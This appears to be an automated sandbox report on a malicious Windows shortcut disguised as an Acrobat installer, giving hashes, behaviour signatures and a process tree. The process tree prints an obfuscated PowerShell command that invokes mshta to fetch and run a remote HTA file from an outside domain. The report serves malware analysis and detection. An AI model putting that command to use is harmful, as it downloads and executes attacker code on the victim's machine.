Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    17-11-2022 16:15

General

  • Target

    AcrobatInstaller.lnk

  • Size

    1KB

  • MD5

    f115333f8c6d19a22743ad549019db28

  • SHA1

    e00bbf362c53f58af8b66dedbd44e84a46c97411

  • SHA256

    48d585ca3a477ef7e8f0983735903335d9a5327f5fc434c222b6f551f7c0dc68

  • SHA512

    ff7e372b39c7829e6303eaa642a3b36a45f5eeadfcb832bd692a0b14c5d67b108161c0826d8d475a8c6d595f5199e95e39d697d245a90e486ff191b369d7c90a

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AcrobatInstaller.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\?i*\S*3?\m*ta.e* ('https://cruds-club.com/AcrobatInstaller' + '.h' + 'ta')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1444

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1292-54-0x000007FEFB8F1000-0x000007FEFB8F3000-memory.dmp

    Filesize

    8KB

  • memory/1444-93-0x000007FEF3F40000-0x000007FEF4963000-memory.dmp

    Filesize

    10.1MB

  • memory/1444-95-0x00000000025C4000-0x00000000025C7000-memory.dmp

    Filesize

    12KB

  • memory/1444-94-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp

    Filesize

    11.4MB

  • memory/1444-96-0x00000000025C4000-0x00000000025C7000-memory.dmp

    Filesize

    12KB

  • memory/1444-97-0x00000000025CB000-0x00000000025EA000-memory.dmp

    Filesize

    124KB